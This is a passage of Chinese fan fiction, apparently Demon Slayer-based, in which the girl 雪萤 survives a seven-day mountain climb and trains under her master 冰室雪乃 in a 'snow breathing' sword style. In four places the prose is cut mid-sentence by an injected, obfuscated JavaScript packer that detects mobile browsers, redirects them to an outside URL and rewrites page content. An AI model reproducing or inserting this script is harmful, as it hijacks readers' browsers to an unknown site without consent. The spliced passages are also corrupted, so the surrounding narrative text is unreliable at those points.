那风像刀子一样,刮在脸上,生疼。雪萤不得不眯着眼睛,只能从眼缝里看见前面白茫茫的一片。雪打在脸上,积在睫毛上,她每隔一会儿就要用手套去擦,不然眼睛都睁不开。可手套早就湿透了,冻得硬邦邦的,擦在脸上像冰疙瘩一样。 她走得很慢。每一步都要先用脚探一探,确认踩实了,才敢把重心移过去。可雪太厚了,根本看不清下面是什么。有时候踩下去是实的,有时候踩下去是空的,整个人往下一陷,雪就没过大腿。 有一次,她踩空了。 脚下一滑,整个人往后仰。她拼命伸手去抓,可什么都抓不到。雪,石头,雪,石头——她在雪坡上翻滚着,脑子里一片空白,只听见自己的心跳咚咚咚地响,响得像要炸开。 然后她撞上了一块凸起的岩石。 疼。 后背疼得像要裂开一样。 她趴在雪里,大口大口地喘气。喘了好久,她才慢慢爬起来,继续往上爬。 她没有哭。 不能哭。眼泪会冻住。 —— 第三天,她遇见了一道冰缝。 那裂缝横在她面前,又宽又深,看不见底。冷风从裂缝里往上灌,发出呜呜的声响,像无数鬼魂在哀嚎。裂缝的边缘是蓝色的,那种蓝不像是冰的颜色,更像是深不见底的深渊的颜色。 雪萤站在裂缝边,看了很久。 绕不过去。左边是悬崖,右边是更陡的雪坡,只有跨过这道裂缝,才能继续往上。 她往后退了几步,开始估算距离。五步,六步,七步——差不多,应该能跳过去。应该。 她深吸一口气,往后退了十几步。 然后她跑起来。 脚下的雪被她踩得飞溅,她拼命地跑,拼命地跑,用尽全身的力气,在裂缝边缘猛地一跃—— 那一瞬间,时间好像静止了。 她看见裂缝下面深不见底的黑暗,听见风从底下往上涌的声音。她的身体在空中划过一道弧线,手拼命往前伸,想要抓住什么。 落地的瞬间,脚下一滑,整个人往前扑。手指在雪里拼命抓,终于抓住了一块凸起的岩石。 她趴在裂缝另一边,喘了很久很久。 喘完之后,她笑了。 笑得眼泪都出来了,冻在脸上,冰冰的。 —— 第四天,第五天,第六天。 她不记得自己爬了多久。 只记得白天爬,晚上蜷在雪洞里睡。睡醒了,继续爬。饿了啃一口冻硬的干粮,渴了抓一把雪塞进嘴里。 雪洞是她自己挖的。用冻僵的手,一点一点在雪里刨。刨出一个刚好能容自己蜷缩进去的小坑,然后用包袱堵住洞口,蜷在里面,抱着自己的膝盖,把自己缩成小小的一团。 睡不着。 太冷了。 冷得骨头都在打颤,冷得牙齿都在打架。她把所有能穿的衣服都穿上了,把围巾缠了一层又一层,可还是冷。那种冷不是从外面来的,是从里面来的。是从骨头缝里渗出来的,冻得她整个人都在发抖。 她开始想家。 想那个温暖的屋子,想娘亲烧的炭盆,想爹爹把她抱在怀里时的那种暖。想弟弟妹妹们挤在一起睡觉的样子,想他们小小的、暖乎乎的脸。 她想起临走那天,娘亲站在门口望着她的样子。 娘亲的眼眶红红的,可她没有哭。她只是站在那里,看着她,看着她一步一步走远。 雪萤那时候不敢回头。她怕一回头,就不想走了。 可现在她后悔了。 她想回头。想回去。想躺在那个温暖的屋子里,什么都不管了。 有好几次,她想放弃了。 躺下来,睡一觉,什么都不管了。 可每次这样想的时候,她就会想起一些人。 想起爹爹坐在案前的背影。那些紫黑色的纹路已经爬满了他的脸,可他还在笑,还在用那种温柔的声音说“爹爹等你回来”。 想起娘亲红着眼眶的样子。想起她说“要好好的”的时候,声音里的颤抖。 想起弟弟妹妹们小小的脸。辉利哉,雏衣,日香,彼方,杭奈。他们还没学会叫姐姐呢。她还没听见他们叫姐姐呢。 想起杏寿郎那双亮得惊人的眼睛。想起他拍着她的肩膀说“你能爬上去的”。他的声音那么大,那么亮,震得她耳朵嗡嗡响,可那嗡嗡声里,有一种让人精神起来的东西。 想起香奈惠紫色的眼睛,和她送的那朵小花。那朵小花现在还贴在她胸口,暖暖的。 想起悲鸣屿流着泪说“谢谢你”。想起他握着那块小手帕,把它贴在脸上的样子。 想起天元哥哥闪光的牙齿,和他说的那句“等你学成了,哥哥我请客”。他说这话的时候,笑得那么张扬,那么得意,好像天塌下来都不怕。 她不能放弃。 那么多人在等她。 —— 第七天清晨,雪萤爬出了最后一片雪坡。 她不知道自己是怎么爬上来的。腿已经不是自己的了,手也不是自己的了。她只是机械地爬,爬,爬,用尽最后一点力气。 然后她抬起头。 然后她愣住了。 眼前的景象,让她忘了呼吸。 太阳刚刚升起,金色的光芒从山巅后面透出来,照在整座雪山上。那雪不再是白色的,而是变成了金色。不是那种淡淡的黄,是那种浓烈的、燃烧一样的金色。金色的山,金色的雪,金色的云,连天空都被染成了淡淡的金红色。 整个世界都像被镀上了一层暖暖的光。 日照金山。 她听师父说过,可从来没有见过。 书上说,这是雪山最珍贵的景象。有人说,看见日照金山的人,会得到神明的祝福。有人说,那是山神的恩赐,只有最虔诚的人才能看见。 她就那样站在那里,呆呆地看着。 好美。 美得让人想哭。 那金色的光落在她身上,暖暖的,像是有一双看不见的手在轻轻抚摸她的脸。她忽然觉得,身上那种刺骨的冷,好像没有那么难熬了。 她忽然想起一个人。 一个她从来没有见过,却总觉得在等的人。 为什么? 为什么每次看见这样的光,她就会想起那双眼睛? 那双眼睛是什么颜色的?她想不起来了。只知道是很深的颜色,像深夜,像深渊,像看不见底的井。 可那双眼睛里,有光。 很微弱的光,像是被什么东西压着,随时都会熄灭的光。 她不知道那个人是谁。 可她忽然觉得,如果那个人也能看见这样的光,该多好。 如果他也能被这样的光照着,该多暖。 也许就不会那么冷了吧? 也许就不会用那种绝望的眼神看人了吧? 也许就不会……恨这个世界了吧? 她不知道。 可她这样想着,心里就暖暖的。 —— 她的视线开始模糊。 不是因为眼泪,是因为太累了。 眼皮越来越沉,越来越沉。 她看见金色的光里,有一个人影。 那人从光里走出来,走到她面前。 是一个女人。 头发花白,像这山上的雪一样白。面容清瘦,颧骨微微凸起,脸上有细细的皱纹。可那双眼睛,亮得像山巅的星光,亮得不像一个老人的眼睛。 她穿着一身素白的衣服,和雪融在一起。她站在那里,像这座山本身一样,又冷又高,让人不敢靠近。 她低头看着她。 看了很久很久。 雪萤想开口喊“师父”,可嘴唇动了动,什么声音都发不出来。 太累了。 累得连话都说不出来了。 她只能看着那个人,用尽最后一点力气,让自己的眼睛睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雪萤听见了。 她努力睁开眼睛,想看清师父的脸。 可眼皮太重了,怎么也睁不开。 只能看见一个模糊的轮廓,站在金色的光里,像一座山。 只能听见那个声音,清冷的,可又有一点暖。 “睡吧。”那声音说,“以后,有我在。” 雪萤的嘴角弯了弯。 然后她沉沉睡去。 —— 风雪还在呼啸。 可她的梦里,全是金色的光。 那光暖暖的,照在她身上,也照在另一个人身上。 那个人站在光里,深紫色的眼睛望着她,嘴角带着笑。 是她在等的那个人。 是那个她不知道名字、不知道长相、却等了一千年的人。 —— 冰室雪乃抱着她,一步一步走回山巅的小屋。 怀里那个小小的身体,轻得像一片羽毛。可那轻里,有一种沉甸甸的东西。 那是决心。 是想要变强的决心。 是和她一模一样的决心。 她忽然想起当年自己的师父说过的话。 “雪乃,你会遇到一个和你一样的孩子。那时候,你就知道该怎么办了。” 她低头看着怀里的孩子。 这个孩子,就是那个人吗? 她不知道。 可她忽然有点期待了。 期待看看这个孩子,会成长为什么样的人。 —— 她推开木屋的门,把那个小小的身影放在榻上,盖上厚厚的棉被。 然后她坐在旁边,看着她。 看了很久很久。 窗外的风雪还在呼啸。 可屋里,很安静。 那个孩子睡得很沉,小脸还冻得发白,可嘴角带着笑。 她梦见什么了? 冰室雪乃不知道。 可她知道,从今天起,她有一个徒弟了。 一个爬了七天七夜、差点死在山上、可眼睛还在发光的徒弟。 一个和她一模一样的徒弟。 —— 她伸出手,轻轻拂去雪萤额头上的一缕乱发。 “好好睡。”她轻声说,“醒了,我教你。” 雪萤在梦里,好像听见了。 她的嘴角弯了弯,笑得更深了。 14. 雪之呼吸 活下去 雪萤醒来的时候,发现自己躺在一张硬邦邦的木榻上。 头顶是粗糙的木梁,窗户糊着厚厚的纸,透进来的光惨白惨白的。空气里有一股松木的味道,混着一点淡淡的药草香。 她动了一下,浑身疼。 像是被谁揍了一顿,又像是从山上滚下来摔的——不对,她确实是从山上滚下来摔的。 记忆慢慢回笼。 雪山。七天七夜。日照金山。那个站在光里的女人。 “醒了?” 一个清冷的声音从旁边传来。 雪萤转过头,看见冰室雪乃坐在窗边,手里捧着一只粗陶茶杯。晨光从她身后透进来,给她花白的头发镀上一层淡淡的银边。她的面容清瘦,颧骨微微凸起,脸上有细细的皱纹,可那双眼睛亮得惊人,像山巅的星光。 雪萤想坐起来,可一动,后背就疼得她倒吸一口凉气。 “别动。”冰室雪乃看了她一眼,“你后背撞伤了,肋骨也有裂痕。躺着。” 雪萤只好躺着。 她眨眨眼睛,看着那个坐在窗边的女人。 师父。 这就是她的师父了。 “师……”她开口,嗓子干得冒烟。 冰室雪乃站起来,走到她身边,把一只木碗递到她嘴边。 雪萤就着她的手喝水。水是温的,有一股淡淡的草药味,喝下去胃里暖暖的。 喝完,她又躺回去。 “我叫冰室雪乃。”那个女人说,“从今天起,我是你的师父。” 雪萤点点头。 冰室雪乃看着她,目光从她脸上慢慢移到她手上。那双手,指甲裂了,指尖冻得发紫,还有几道结了痂的血口子。 “爬了七天,”她说,“没死。很好。” 雪萤的嘴角弯了弯。 “可这只是开始。”冰室雪乃的声音依然清冷,“想学雪之呼吸,先要学会在雪里活下去。” 雪萤看着她。 “从明天开始,你每天要凿冰取水、背柴攀峰、雪中静坐。”冰室雪乃说,“什么时候你的手不再裂口子,你的脚不再怕冷,你的身体不再发抖,什么时候开始学呼吸法。” 雪萤点点头。 “睡吧。”冰室雪乃站起来,“明天卯时起床。” 她走了出去,拉上门。 雪萤一个人躺在陌生的屋子里,望着陌生的屋顶。 她想家。 想爹爹,想娘亲,想弟弟妹妹们。想那个温暖的屋子,想娘亲烧的炭盆,想爹爹把她抱在怀里时的那种暖。 可她不能回去。 她闭上眼睛,对自己说: “雪萤,你可以的。” --- 卯时。 天还没亮,冰室雪乃就推开了她的门。 “起来。” 雪萤从被窝里爬起来,穿好衣服。浑身还是疼,可她咬着牙,没有吭声。 冰室雪乃带着她走到屋外。 屋外是一片雪原。白茫茫的,一望无际。远处的山峰隐没在晨雾里,像一幅水墨画。 可雪萤没有心情欣赏风景。 因为她看见了那个冰窟窿。 就在屋子旁边,有一个凿开的冰洞,洞口有脸盆那么大,底下是漆黑的水。冰面上结着一层薄薄的冰,已经被敲碎了,露出底下还在冒着寒气的冰水。 “这是你要取水的地方。”冰室雪乃说,“每天卯时,从这里取一桶水,提到厨房。” 雪萤低头看着那个冰洞。 桶呢? 冰室雪乃指了指旁边。那里放着一只木桶,桶口比她的腰还粗,桶身有她半人高。 雪萤的嘴角抽了抽。 她走过去,蹲下来,把手伸进冰洞里。 冷。 刺骨的冷。 她的手一碰到水,就像被针扎了一样,猛地缩回来。 她抬头看师父。 冰室雪乃面无表情地看着她。 雪萤咬了咬牙,又把手伸进去。 这一次,她没有缩。 冷。冷得她以为自己摸到的是刀子。她的手在冰水里颤抖,骨头像要被冻裂一样。她咬着牙,把桶按进水里,等水灌满,然后往上提。 提不动。 水太重了。她的手又冻得没力气,提了两下,桶沉在水里纹丝不动。 她抬起头,用眼神向师父求助。 冰室雪乃看着她,没有说话。 雪萤明白了。 没有人会帮她。 她深吸一口气,双手握住桶沿,用尽全身的力气往上提。手冻得发白,失去了知觉,她感觉不到自己还在用力,只能咬着牙,拼命地拉。 桶慢慢上升,一寸,两寸,三寸。 终于,桶口露出了水面。 雪萤顾不上高兴,继续往上提。水洒出来,溅在她身上,冻得她一个激灵。可她不能松手,一松手,桶就会掉回去,刚才的力气就白费了。 她咬着牙,用尽最后一点力气,把桶提出了冰洞。 桶放在地上,她整个人瘫在雪地里,大口大口地喘气。 冰室雪乃走过来,低头看着她。 “今天的水够了。”她说,“明天继续。” 雪萤躺在地上,望着灰蒙蒙的天,忽然笑了。 笑自己傻。 笑自己竟然觉得爬山是最难的。 --- 背柴攀峰,是下午的功课。 冰室雪乃带她走到一堆柴火面前。 那堆柴,有她两个人那么高。 “背上去。”师父指了指身后的山,“山顶有间小屋,放进去。” 雪萤看着那堆柴,又看看那座山。 那座山不高,但很陡。山坡上全是雪,没有任何可以扶的东西。 她深吸一口气,开始往柴堆上捆绳子。 绳子是冰室雪乃给她的,又粗又长。她学着师父的样子,把柴火一捆一捆地捆在一起,然后背起来。 好重。 重得像背着一座小山。 她直起腰,腿在抖。可她不能停,停了就再也起不来了。 她一步一步往前走,一步一步往上爬。 雪很深,每走一步都要把腿从雪里拔出来。柴很重,压得她直不起腰。她只能弓着背,像一只小小的蜗牛,一点一点往上挪。 爬到一半,她实在走不动了。 她停下来,大口喘气。汗水从额头上滴下来,还没落到地上就冻成了冰珠。 她回头看了一眼。 山下,冰室雪乃站在那里,仰着头看着她。那么小的一个点,可雪萤知道,她在看。 她深吸一口气,继续往上爬。 一步。两步。三步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444154|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿抖得越来越厉害,可她不停。 山顶到了。 她放下柴,整个人瘫在雪地里。 天很蓝,云很白,风很轻。 她忽然觉得,好像没那么累了。 --- 雪中静坐,是晚上的功课。 冰室雪乃让她坐在屋外的雪地里,赤着脚,只穿一件单衣。 “坐一个时辰。”师父说,“不许动。” 雪萤坐下来。 刚开始,还好。虽然冷,但还能忍。 一刻钟后,她的脚开始发麻。 两刻钟后,她的脚失去了知觉。 三刻钟后,她开始发抖。不是冷的那种抖,是从骨头里往外渗的抖。牙齿在打架,全身的肌肉都在抽搐,她想抱住自己取暖,可她不能动。 她想哭。 可她不敢哭。 眼泪会冻住。 她看着天上的星星,开始数。一颗,两颗,三颗……数着数着,她想起了家。 想起爹爹抱着她的时候,那种暖。 想起娘亲给她梳头的时候,手指轻轻滑过头皮的感觉。 想起弟弟妹妹们挤在她身边睡觉的时候,那种软软的热乎乎的触感。 她想着想着,好像没那么冷了。 一个时辰到了。 冰室雪乃走出来,站在她面前。 “起来。” 雪萤想站起来,可腿不听使唤。她用手撑着地,一点一点爬起来。脚踩在地上,没有感觉,像踩在别人的腿上。 冰室雪乃看着她,没有说话。 过了很久,她开口: “进屋吧。” 雪萤扶着墙,一步一步挪回屋里。 那一夜,她蜷在被窝里,抱着自己的腿,哭了。 哭完之后,她睡着了。 梦里没有鬼,只有暖暖的阳光。 --- 这样的日子,一天一天地过。 每天早上凿冰取水,下午背柴攀峰,晚上雪中静坐。 她的手裂了又好,好了又裂。脚冻得发紫,慢慢变成青白色,又慢慢恢复血色。身上的伤越来越多,可她的力气越来越大,耐力越来越强。 三个月后,她终于能一次把水桶提出冰洞了。 五个月后,她背柴上山不再气喘吁吁了。 八个月后,她能在雪地里坐满一个时辰,不再发抖了。 那天晚上,冰室雪乃站在她面前,看着她。 “可以了。”她说。 雪萤抬起头。 “从明天开始,”冰室雪乃说,“学呼吸法。” 雪萤愣住了。 然后她笑了。 笑得眼泪都出来了。 她等这一天,等了一年了。 --- 那天夜里,她躺在床上,望着窗外的月亮。 月亮很亮。 和一年前那个晚上,一样亮。 可她不一样了。 她不再是一年前那个会哭着找娘亲的孩子了。 她能活着了。 能在这座雪山上,活下去了。 她翻了个身,闭上眼睛。 梦里,她看见爹爹在笑。 他说:“雪萤,你做到了。” 她点点头。 是啊,她做到了。 15. 雪之呼吸 听雪 “从今天开始,你学听雪。” 冰室雪乃把一条黑布蒙在雪萤眼睛上。 雪萤眼前一黑,什么都看不见了。 “站在这里。”师父的声音从旁边传来,“听。” 听? 听什么? 雪萤竖起耳朵,可什么都听不见。只有风声,呼呼地吹,吹得她耳朵嗡嗡响。 她站了一刻钟,两刻钟,一个时辰。 什么都听不见。 第二天,还是什么都听不见。 第三天,第四天,第五天…… 她站了整整七天,什么都听不见。 那天晚上,她终于忍不住问师父: “师父,雪落真的有声音吗?” 冰室雪乃正在灯下看书,闻言抬起头,看着她。 那双眼睛在烛光里亮得惊人。 “你听不见,”她说,“是因为你心里太吵了。” 雪萤愣住了。 她心里太吵了? 她闭上眼睛,仔细听。 她听见的,是爹爹的咳嗽声。那声音轻轻的,压得很低,可每一次都像锤子一样砸在她心上。 她听见娘亲的声音。“要好好的。”那声音在她脑子里一遍一遍地响。 她听见弟弟妹妹们的哭声,听见他们咿咿呀呀地叫“姐姐”。 她听见天元哥哥的笑声,听见他牙齿闪光的声音。 她听见杏寿郎的喊声,那么亮,那么响。 她听见藤袭山上那只鬼的声音。“好久没吃过这么小的孩子了。” 她听见自己心里的声音:我能做到吗?我是不是不行?我想回家。 她心里,确实太吵了。 吵得什么都听不见。 那天晚上,她一个人坐在雪地里,闭上眼睛。 她开始跟自己说话。 “爹爹,”她在心里说,“雪萤在这里很好。你不用担心。” “娘亲,雪萤没有哭。真的。” “辉利哉,雏衣,日香,彼方,杭奈,等姐姐回去,给你们带雪山上的故事。” “天元哥哥,等雪萤学成了,你请客哦。” “杏寿郎哥哥,雪萤没有放弃。雪萤在努力。” 她把心里的话,一句一句说出来,像在写信。 那些声音,慢慢变小了。 她深吸一口气,竖起耳朵。 沙。 很轻,很细,像一片羽毛拂过地面。 她的心猛地跳了一下。 沙。沙。 那声音越来越清楚。不是风声,不是雪压断树枝的声音,是雪落的声音。 一片一片,落在雪地上,落在她身上,落在整个世界。 她听见了。 她真的听见了。 她睁开眼睛,眼眶湿了。 师父站在不远处,看着她。 月光下,那个清瘦的身影,嘴角弯了一下。 很浅很浅的弧度。 可雪萤看见了。 --- 接下来的日子,她每天都在听。 听雪落的声音,听雪融化的声音,听雪被风吹起的声音。 她发现,雪有很多种声音。 大雪落在厚雪上,声音闷闷的,像有人在很远的地方拍手。 小雪落在冰面上,声音清脆的,像小石子掉进水里。 风吹起的雪,沙沙的,像千万只虫子在爬。 雪压断树枝的时候,咔嚓一声,然后是扑簌簌的雪落声,像有人在叹息。 她把这些声音记在心里,记在本子上。 有一天,冰室雪乃问她:“你听见了什么?” 雪萤想了想,说:“雪在说话。” 冰室雪乃看着她,目光里有一点欣慰。 “雪是活的。”她说,“它有呼吸,有脉搏,有脾气。你要学会和它做朋友。” 雪萤点点头。 从那以后,她不再只是“听雪”,她开始“和雪说话”。 她会在早起的时候,对雪说:“早上好。” 会在背柴上山的时候,对雪说:“谢谢你让我踩。” 会在雪中静坐的时候,对雪说:“谢谢你陪着我。” 她知道这听起来很傻。 可她不在乎。 因为师父说了,雪是朋友。 --- 第二年的秋天,冰室雪乃给了她一把木刀。 “从今天起,你开始学刀。” 雪萤接过那把木刀,手有点抖。 刀很轻,可她知道,这轻里有很重的东西。 “在学刀之前,你要先学会一件事。”冰室雪乃说。 “什么事?” “触冰。” 师父带她走到屋后的一块冰壁前。那冰壁有三个人那么高,蓝莹莹的,像一整块巨大的宝石。 “把手放上去。”师父说。 雪萤伸出手,贴在冰面上。 冷。 还是冷。可她已经习惯了。她忍着冷,把手按在冰上,感受着那刺骨的凉意。 “闭上眼睛。”师父说。 她闭上眼睛。 “感受它。”师父说,“感受冰的呼吸。” 冰的呼吸? 她皱起眉头,努力去感受。 可什么都感受不到。只有冷,只有刺骨的冷。 她站了一刻钟,两刻钟,一个时辰。 什么都没感受到。 那天晚上,她问师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444155|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“冰真的有呼吸吗?” 冰室雪乃看着她,没有直接回答,而是说: “你把手放上去的时候,在想什么?” 雪萤想了想:“在想……冷。” 师父点点头:“那就对了。你只想着冷,就感受不到别的。” 雪萤沉默了。 第二天,她又把手贴在冰壁上。 这一次,她努力不去想冷。 她想着别的事。想着家里的温暖,想着弟弟妹妹们的笑脸,想着杏寿郎挥刀的样子。 可想着想着,她的手就离开了冰壁。心思一走,手就松了。 她重新贴上去。 一次。两次。三次。 不知过了多久,她忽然感觉到了。 微微的,轻轻的,像有什么东西在冰里面动。 不是冷。是别的。 她屏住呼吸,仔细感受。 那东西在动,很慢,很稳,像人的心跳,像山的呼吸。 她睁开眼睛,看着冰壁。 蓝色的冰,厚厚的,硬硬的。 可它在呼吸。 雪萤的眼眶湿了。 她感受到了。 冰在呼吸。 --- 那天晚上,冰室雪乃给她讲了一个故事。 “很久以前,有一个剑士,住在雪山上。” 雪萤坐在她身边,静静地听。 “有一天,他看见雪崩埋没了整座村庄。他站在那里,看着那座山,忽然明白了一件事。” “什么事?”雪萤问。 “雪看似柔软,可积到足够多的时候,可以摧毁一切。”师父说,“他花了三十年,创造出一种呼吸法——像雪一样,平时温柔无声,可一旦爆发,就能埋葬一切污秽。” “那就是雪之呼吸?” 冰室雪乃点点头。 “雪之呼吸的核心,不是力量。”她说,“是感知。你要先感知雪,才能成为雪。” 雪萤听着,若有所思。 “你这一年的任务,”师父说,“就是学会感知。感知雪的呼吸,感知冰的脉搏,感知这座山的一切。” 雪萤点点头。 “等你能做到这些,”师父说,“才能开始学刀。” --- 那一夜,雪萤躺在榻上,望着窗外的月亮。 她把手放在心口,感受着自己的心跳。 咚。咚。咚。 她又想起冰壁里那轻轻的、微微的搏动。 像心跳。 像这座山的心跳。 她闭上眼睛,在心里对这座山说: “我会学会的。我会成为雪的。” 月光静静地照在她脸上。 她睡着了。 16. 雪之呼吸 斩雪 第三年的第一天,冰室雪乃把雪萤带到一片开阔的雪地上。 “从今天起,你开始学斩雪。” 雪萤握着那把已经陪伴她一年的木刀,心里有些期待,也有些忐忑。一年了,她学会了听雪,学会了触冰,学会了感知这座山的呼吸。现在,终于要开始学真正的刀法了。 “斩落一片雪花。”冰室雪乃说,“什么时候能一刀斩落三片,什么时候学下一项。” 雪萤看着漫天飘落的雪花,傻眼了。 斩雪花? 她握紧木刀,深吸一口气,盯住一片缓缓飘落的雪花,挥刀劈去。 刀过,雪花飘走,毫发无伤。 她愣了一下,又盯住另一片,再劈。 还是没中。 再劈。 再劈。 再劈。 劈了一整天,一片雪花都没斩落。 傍晚收功的时候,她的手臂酸得抬不起来,肩膀像被卸掉了一样。她坐在雪地里,望着那些还在飘落的雪花,心里升起一股挫败感。 斩雪花?怎么可能? 那天晚上,她躺在床上,手臂疼得睡不着。 她翻了个身,望着窗外的月亮,脑子里全是那些飘落的雪花。 一片一片,悠悠地飘,轻轻地下。它们在风里打着旋儿,忽左忽右,忽快忽慢,根本捉摸不定。 这要怎么斩? 她闭上眼睛,对自己说:明天继续。 --- 第二天,她继续劈。 还是没中。 第三天,第四天,第五天…… 她劈了整整一个月,一片雪花都没斩落。 她的手磨出了厚厚的茧子,肩膀酸痛得抬不起来,每天晚上都要用药草泡手才能入睡。可那片该死的雪花,就是斩不落。 那天傍晚,她坐在雪地里,望着漫天飞舞的雪,忽然把木刀往地上一插,抱着膝盖,不说话了。 冰室雪乃走过来,在她身边坐下。 “想放弃了?” 雪萤摇摇头,又点点头,又摇摇头。 她也不知道自己想不想放弃。 “你知道为什么斩不落吗?”师父问。 雪萤抬起头,看着她。 冰室雪乃的目光沉静如水,像这雪山一样,又冷又深。 “因为你把它当成敌人。” 雪萤愣住了。 敌人? “你盯着它,追着它,想劈中它。”师父说,“可它只是一片雪。它没有恶意,没有敌意,它只是飘着,落着。你把它当成敌人,它就永远在你够不着的地方。” 雪萤听着,心里有什么东西在动。 “那你告诉我,”师父站起来,“雪是什么?” 雪萤想了想,小声说:“是……朋友?” 冰室雪乃的嘴角弯了一下,没有回答,转身走了。 雪萤一个人坐在雪地里,看着那些飘落的雪花。 朋友。 她和它们相处了两年。她听过它们的声音,感受过它们的呼吸。它们落在她身上,陪着她度过无数个寒冷的日夜。 它们是她的朋友。 不是敌人。 那天晚上,她躺在榻上,想了很久很久。 第二天早上,她照常站在雪地里。 可这一次,她没有握紧刀,没有盯着雪花。 她闭上眼睛。 她听。 听雪落的声音。沙沙的,轻轻的,像羽毛拂过地面。那是她第二年学会的东西。 她感受。 感受风的方向,感受雪飘的轨迹。那些雪花不是乱飘的,它们有自己的路,自己的节奏。 她睁开眼睛。 一片雪花正朝她飘来。 她没有盯着它,没有追着它。她只是看着它,像看一个老朋友。 然后她挥刀。 刀过,雪花从中间断开,分成两半,轻轻飘落。 雪萤愣住了。 她低头看着那两半雪花,看着它们落在雪地上,和其他雪融在一起。 她做到了。 她真的做到了。 她抬起头,看见冰室雪乃站在不远处,正看着她。 师徒俩对视一眼,谁都没有说话。 可雪萤知道,师父在笑。 --- 从那以后,她每天都在练斩雪。 从一片,到两片,到三片。 三个月后,她终于能做到一刀斩落三片雪花。 那天晚上,冰室雪乃把她叫到屋里。 “可以了。”师父说,“从明天开始,学削冰。” 雪萤眼睛一亮。 削冰? 第二天,师父带她走到那块巨大的冰壁前——就是她第二年触冰的那块。 “削下一片冰。”师父说,“要薄如蝉翼,不能碎,不能断。” 雪萤看着那面冰壁,深吸一口气。 她拿起木刀——不是真刀,还是那把木刀。 “用木刀?”她问。 冰室雪乃点点头。 雪萤把刀贴在冰壁上,开始削。 第一片,碎了。 第二片,断了。 第三片,太厚。 第四片,太厚。 第五片,碎了。 她的手被冻得通红,指甲缝里全是冰碴。可她不停。 一个月后,她能削出薄薄的冰片了。 可师父说:“不够薄。要薄到能透光。” 两个月后,她能削出透光的冰片了。 可师父说:“不够韧。要薄到能弯。” 三个月后,她能削出薄到能弯曲的冰片了。 那天,她把一片冰片递给师父。冰片薄得像纸,透光,能轻轻弯成一个弧。 冰室雪乃接过去,对着光看了看。 “可以了。”她说。 雪萤笑了。 笑得眼睛都弯成了月牙。 --- 第四个月,师父开始教她用刀。 “雪之呼吸的基础,是三式。”冰室雪乃说,“壹之型·初雪,贰之型·时雨,参之型·冰华。” 她拔出自己的刀——那是雪萤第一次看见师父的刀。 刀身细长,通体雪白,像一根冰柱。可那白里,透着一层淡淡的蓝,像冰的颜色。 “看好。” 师父挥刀。 那一瞬间,雪萤什么都没看见。 太快了。 只看见一道白光闪过,面前的雪地上,多了一道深深的刀痕。 “壹之型·初雪。”师父说,“极快的拔刀斩,无声无息。要让鬼来不及反应,就已经中刀。” 雪萤点点头。 师父又挥一刀。这一次,她看见了。刀光连绵不绝,像雨点一样密集,一刀接一刀,根本没有间隙。 “贰之型·时雨。”师父说,“连续快斩,像雪前的细雨,又密又急。” 雪萤的眼睛亮了起来。 第三刀,师父的刀锋过处,空气里凝出一道冰晶。那冰晶在空中停留了一瞬,然后碎裂,化成无数细小的冰屑,在阳光下闪闪发光。 “参之型·冰华。”师父说,“用刀锋冻结空气,封住鬼的动作。” 雪萤看着那些飘落的冰屑,心里涌起一股难以言喻的激动。 这就是雪之呼吸。 这就是她要学的东西。 “从今天起,”冰室雪乃看着她,“每天挥刀一万下。一个月后,开始练型。” 雪萤点点头。 一万下。 她握紧木刀,开始挥。 一下。两下。三下。 她的手很快酸了。可她不停。 因为她知道,她离那些人,越来越近了。 --- 第五个月,她开始练壹之型·初雪。 “初雪的要诀,不是快。”师父说,“是静。” 静? “雪落下的时候,有声音吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444156|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪萤点点头:“有。” “可人听不见。”师父说,“为什么?” 雪萤想了想,说:“因为人太吵了?” 冰室雪乃点点头。 “初雪也是一样。要让刀快到鬼看不见,听不见,感觉不到。快到像一片雪落在鬼身上。” 雪萤闭上眼睛,回想第一年学的东西——雪中静坐。 让自己的心静下来。静到像一片雪。 她睁开眼睛。 挥刀。 不够快。 再挥。 还是不够快。 她挥了一个月,两个月,三个月。 刀越来越快,快到她自己都看不见刀身。只能看见一道白光闪过,面前就多了一道刀痕。 可师父还是摇头。 “还不够静。” 雪萤咬着牙,继续练。 那天晚上,她一个人站在雪地里,望着月亮。 月亮很亮。 她忽然想起杏寿郎说过的话。 “累就对了!累说明你在变强!” 她握紧刀,又挥了一下。 一下。两下。三下。 不知挥了多久,她忽然进入了一种奇怪的状态。 